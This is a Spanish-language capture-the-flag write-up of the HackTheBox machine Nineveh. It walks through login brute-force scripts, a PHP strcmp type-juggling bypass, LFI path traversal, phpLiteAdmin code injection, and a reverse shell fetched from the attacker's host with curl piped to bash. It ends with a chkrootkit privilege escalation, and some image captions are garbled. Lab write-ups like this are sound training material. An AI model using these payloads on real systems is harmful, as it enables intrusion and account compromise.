Volver atras HTB_Nineveh | Savinotes

HTB_Nineveh

Nineveh {-}

Introduccion {-}

La maquina del dia 06/08/2021 se llama Nineveh .

El replay del live se puede ver aqui

No olvideis dejar un like al video y un comentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.43

ttl: 63 -> maquina Linux. Recordar que en cuanto a ttl respecta 64 = linux y 128 = windows. Pero como estamos en hackthebox hay un nodo intermediario que hace que el ttl disminuya en una unidad

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.43

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.43 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p80,443 10.10.10.43 -oN targeted
PuertoServicioQue se nos occure?Que falta?
80httpWeb, fuzzing
443httpsWeb, fuzzing

Analizando la web {-}

Whatweb {-}

whatweb http://10.10.10.43
whatweb https://10.10.10.43

Los dos resultados son los mismos y no hay nada muy interesante

Chequear la web por comparar los 2 puertos {-}

Con firefox navegamos en la web para ver lo que es.

El resultado de los 2 puertos muestran resultados diferentes y parece que la buena web app esta en el puerto 443. Delante de esta situacion, siempre es interesante mirar lo que hay en el certificado

Chequear el contenido de el certificado SSL con openssl {-}

openssl s_client -connect 10.10.10.43:443

vemos una direccion de correo

 admin@nineveh.htb 

lo que quiere decir que tenemos un usuario y un dominio. Como no tenemos mucha mas informacion, vamos a fuzzear la web.

Fuzzing con WFuzz {-}

Fuzzeamos el puerto 80

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.43/FUZZ

Encontramos una ruta

 /department 

.

y tambien el puerto 443

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://10.10.10.43/FUZZ

Encontramos una ruta

 /db 

.

Analizamos el directorio department de puerto 80 {-}

Aqui vemos una pagina de Login. El wappalizer no nos muestra algo nuevo. Poniendo como nombre de usuario admin, la web nos señala un mensaje

 invalid password 

lo que quiere decir que el usuario existe. Vamos a utilizar fuzzing con BurpSuite para encontrar la contraseña del usuario admin.

Analizamos el directorio db de puerto 443 {-}

Aqui vemos una pagina de Login para un servicio

 phpLiteAdmin 

de version 1.9. Buscamos en internet si hay un default password para este servicio y efectivamente el default password del servicio es admin pero en este caso no funciona.

Evaluacion de vulnerabilidades {-}

Ataque de tipo intruder con burpsuite para el panel en el puerto 80 {-}

[ ! ] NOTA: como ya hemos echo este tipo de ataque en la maquina TheNotebook, las imagenes que siguen corresponden a la maquina TheNotebook. La technica es exactamente la misma, solo la IP y la url de las imagenes cambian.

  1. Creamos un diccionario basado en el rockyou.txt

    cd content
    head -n 10000 /usr/share/wordlists/rockyou.txt > passwords
  2. Desde burpsuite configuramos el scope hacia la url http://10.10.10.43

  3. En firefox le ponemos el foxyproxy para el burpsuite

  4. Lanzamos una peticion desde login con admin admin y la interceptamos con el burpsuite

  5. En burpsuite le damos al

 Ctrl+i 

para enviarlo al intruder

  1. Configuramos el attacker Sniper dando la posicion a la palabra password

otebook-sier-cofi

  1. Cargamos el diccionario creado a la payload list y le quitamos el Payload encoding

    knitr::include_graphics("images/notebook-sniper-list.png")

otebook-sier-list - en Grep - Extract damos a ADD - le damos a Fetch response y seleccionamos el campo invalid password

    ```{r, echo = FALSE, fig.cap="nineveh sniper fetch response", out.width="90%"}
    knitr::include_graphics("images/notebook-fetch-response.png")
    ```

lo dejamos un ratito y ya podemos ver que filtrando por esta columna vemos una linea donde no esta escrito esto. Ya tenemos la contraseña. otebook-fetch-resose

Bruteforcear la contraseña con python {-}

Este seria la manera de hacer, lo que hemos echo con Burpsuite pero en python. El script nos viene del compañero s4dbrd.

#!/usr/bin/python3

import requests
import pdb
import sys
import signal

from pwn import *

# Variables Globales
login_url = 'http://nineveh.htb/department/login.php'


f = open("rockyou.txt", "r")

def def_handler(sig, frame):
    print("\n\nSaliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def bruteForce():
 
    s = requests.Session()

    passwords = f.readlines()
      
    for password in passwords:
        

        login_data = {
            'username': 'admin',
            'password': password.rstrip()
        }

        p1.status("Probando con la contraseña %s" %password)
        r = s.post(login_url, data=login_data)
        
        if 'Invalid Password!' not in r.text:
            p1.success("La contraseña correcta es %s" %password)
            sys.exit(0)

if __name__ == '__main__':

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")
    time.sleep(2)

    bruteForce()

Burlear el login panel con TypeJuggling {-}

Mas tarde en el video, el Tito nos muestra el codigo fuente de la pagina de login y se ve que en la comparativa del input Password, el desarollador de la pagina utiliza un codigo php

if(isset($_POST['username'] == $USER){
    if(strcmp($_POST['password'], $PASS ) == 0){
        S_SESSION['username'] = $USER;
        header( 'Location: manage.php' );
    }
}

El problema aqui es que usado el comando

 strcmp() 

para el password permite al atacante de burlar esto con un cambio de tipo.

Si la request normal es como la siguiente y nos pone

 incorrect password 
POST /login.php HTTP/1.1
Host: 10.10.10.10
User-Agent: ...
Cookie: PHPSESSID=o36osnz71uw900ln395jhs

username=admin&password=admin

cambiandole el payload de la siguiente manera nos loggea sin problema

POST /login.php HTTP/1.1
Host: 10.10.10.10
User-Agent: ...
Cookie: PHPSESSID=o36osnz71uw900ln395jhs

username=admin&password[]=a

El symbolo

 [] 

cambia el tipo de variable y el

 strcmp() 

lo acepta.

Ataque de tipo intruder con burpsuite para el panel en el puerto 443 {-}

Para el panel de authentification del phpLiteAdmin, utilizamos la misma tecnica que para el panel de authentification del puerto 80 (Burpsuite). De esta manera tambien encontramos la contraseña y nos podemos conectar a la base de datos.

Bruteforcear la contraseña con python {-}

Este seria la manera de bruteforcear la contraseña con python. Este Script tambien nos viene del compañero s4dbrd.

#!/usr/bin/python3

import requests
import pdb
import sys
import signal
import urllib3


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from pwn import *

# Variables Globales
login_url = 'https://nineveh.htb/db/index.php'


f = open("rockyou.txt", "r")

def def_handler(sig, frame):
    print("\n\nSaliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def bruteForce():
 
    s = requests.Session()

    passwords = f.readlines()
      
    for password in passwords:
        

        login_data = {
            'password': password.rstrip(),
            'login': "Log+In",
            'proc_login': "true"
        }

        p1.status("Probando con la contraseña %s" %password)
        r = s.post(login_url, data=login_data, verify=False)
        
        if 'Incorrect password.' not in r.text:
            p1.success("La contraseña correcta es %s" %password)
            sys.exit(0)

if __name__ == '__main__':

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")
    time.sleep(2)

Analizamos el panel de administracion del puerto 80 {-}

Aqui vemos un link llamado Notes, pinchamos y se ve una nota. Nos llama la atencion la url

 10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt 

Intentamos ver si es vulnerable a un LFI

10.10.10.43/department/manage.php?notes=files/../../../../../../etc/passwd
10.10.10.43/department/manage.php?notes=files/../../../../../../etc/passwd%00

Aqui nos pone la pagina un mensaje

 No notes selected 

. Probamos mas cosas.

10.10.10.43/department/manage.php?notes=files/ninevehNotes
10.10.10.43/department/manage.php?notes=files/ninevehNote

La differentes respuestas nos hacen pensar que hay un systema de White words list que functionna unicamente si tenemos la palabra ninevehNotes

10.10.10.43/department/manage.php?notes=files/ninevehNotes/../../../../../../etc/passwd
10.10.10.43/department/manage.php?notes=ninevehNotes/../../../../../../etc/passwd
10.10.10.43/department/manage.php?notes=/ninevehNotes/../etc/passwd

Ya podemos ver el contenido del

 /etc/passwd 

y vemos un usuario amrois

Miramos mas contenidos interresantes

Checkeamos los puertos internos de la maquina {-}

Siempre es buena idea mirrar los puertos internos que estan abiertos. Desde fuera, connocemos los puertos 80 y 443.

  1. Approvechamos del LFI para ver el fichero proc tcp

    10.10.10.43/department/manage.php?notes=files/ninevehNotes/../proc/tcp
  2. copiamos esto en un fichero llamado data

  3. recuperamos la columna que contiene los puertos

    cat data
    cat data | awk '{print $2}'
    cat data | awk '{print $2}' | grep -v "address"
    cat data | awk '{print $2}' | grep -v "address" | awk '{print $2}' FS=":"
    cat data | awk '{print $2}' | grep -v "address" | awk '{print $2}' FS=":" | sort -u

Aqui vemos 3 puertos en formato hexadecimal. Lo miramos con python

python3

>>> 0x0016
22
>>> 0x0050
80
>>> 0x01BB
443

Ya sabemos ahora que hay el puerto 22 (ssh) que esta abierto internamente.

Checkeamos las informaciones del usuario amrois {-}

10.10.10.43/department/manage.php?notes=files/ninevehNotes/../home/amrois/.ssh/id_rsa
10.10.10.43/department/manage.php?notes=files/ninevehNotes/../home/amrois/user.txt

No vemos nada. Vamos a ver lo que podemos hacer con la base de datos del puerto 443

Analyzando la base de datos {-}

searchsploit phpliteadmin 1.9

Aqui vemos un exploit tipo Multiple Vulnerabilities y una Remote PHP Code Injection. Miramos el del RPCI

searchsploit -x 24044

Aqui vemos que si creamos una base de datos, el nombre que entramos sera seguido de la extension apropriada. Un atacante puede crear una base de datos con una extension php y insertar PHP code para posteriorment ejecutarlo.

Explotacion de vulnerabilidad & Ganando Acceso {-}

Conexion desde phpliteadmin {-}

  1. Creamos una base de datos llamada hack.php

    knitr::include_graphics("images/phpliteadmin-hack-php.png")

    Si pinchamos el link de la hack.php database vemos que a sido creado en

 /var/tmp/hack.php 
knitr::include_graphics("images/phpliteadmin-create-table.png")

hliteadmi-hack-h ```

  1. Entramos un comando PHP en la tabla

    knitr::include_graphics("images/phpliteadmin-insert-command.png")

hliteadmi-create-table

  1. y con el uso de la LFI miramos lo que passa

    knitr::include_graphics("images/phpliteadmin-rce.png")

hliteadmi-isert-commad

  1. Nos ponemos en escucha por el puerto 443

    nc -nlvp 443

    #!/bin/bash hliteadmi-rce

    bash -i >& /dev/tcp/10.10.14.8/443 0>&1

  2. Compartimos un servidor web con python

    python3 -m http.server 80
  3. Lanzamos la reverse shell por la web

    10.10.10.43/department/manage.php?notes=files/ninevehNotes/../var/tmp/hack.php&cmd=curl -s 10.10.14.8|bash

ya hemos ganado accesso al sistema.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Analizamos el sistema {-}

pwd
ls -l
cd ..
ls
cd ..
ls

Aqui vemos que hay un directorio llamado

 ssl 

que contiene otro directorio

 secure_notes 

y como todo esto esta en

 /var/www/html 

miramos en firefox lo que es.

 https://10.10.10.43/secure_notes 

y vemos una imagen. Como el directorio se llama secure_notes, pensamos directamente en steganografia y nos descargamos la image

Analizando los bits menos significativos de la imagen {-}

steghide info nineveh.png
file nineveh.png
exiftool nineveh.png
strings nineveh.png

El comando strings nos muestra una key id_rsa privada y una publica del usuario amrois. Como no tenemos accesso al ssh desde fuera copiamos esta clave en la maquina victima y le hacemos el tratamiento de siempre

Conexion por SSH {-}

En la maquina victima:

cd /tmp
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa amrois@localhost

Ya estamos conectados como amrois y podemos leer la flag.

Otra manera de conectarnos a la maquina {-}

Si durante el analisis del sistema hubieramos ido hasta mirar los processos que estan habiertos en background, ubieramos encontrado que la utilidad

 knockd 

estava lanzada.

Knockd es una utilidad para escuchar o lanzar Port Knocking.

ps -faux
cat /etc/knockd.conf

Aqui podemos ver que si Knockamos los puertos 571,290,911 se abriria el puerto 22 al exterior y si Knockeamos los puertos 911,290,571 se ceraria.

lo comprobamos desde la maquina de atacante:

nmap -p22 10.10.10.43 --open -T5 -v -n

Aqui vemos quel puerto 22 esta cerrado

knock 10.10.10.43 571:tcp 290:tcp 911:tcp
nmap -p22 10.10.10.43 --open -T5 -v -n

Aqui vemos que el puerto 22 se a abierto, y desde aqui nos podemos connectar por ssh como el usuario amrois.

Escalada de privilegios {-}

Rootear la maquina {-}

ls -la
id
sudo -l
cd /root

Aqui no vemos nada interesante y no podemos entrar en el directorio root.

Analisis de processos con PSPY {-}

instalamos la herramienta en la maquina de atacante y lo compartimos con un web server.

git clone https://github.com/DominicBreuker/pspy
cd pspy
go build -ldflags "-s -w" main.go
upx main
mv main pspy
python3 -m http.server 80

Desde la maquina victima, downloadeamos el fichero y lo lanzamos

wget http://10.10.14.8/pspy
chmod +x pspy
./pspy

Esperamos un poco y vemos que hay un script

 /usr/bin/chkrootkit 

que se ejecuta a interval regular de tiempo.

Priviledge escalation con chkrootkit {-}

searchsploit chkrootkit

Ya vemos que hay un exploit para Local Priviledge Escalation. Lo analizamos.

searchsploit -x 33899

Creamos un fichero llamado update en tmp

cd /tmp
echo '#!/bin/bash\n\nchmod 4755 /bin/bash' > update
chmod +x update
watch -n 1 ls -l /bin/bash

Ya podemos utilizar bash para convertirnos en root

bash -p
whoami
#Output

root

Ya hemos rooteado la maquina y podemos ver la flag.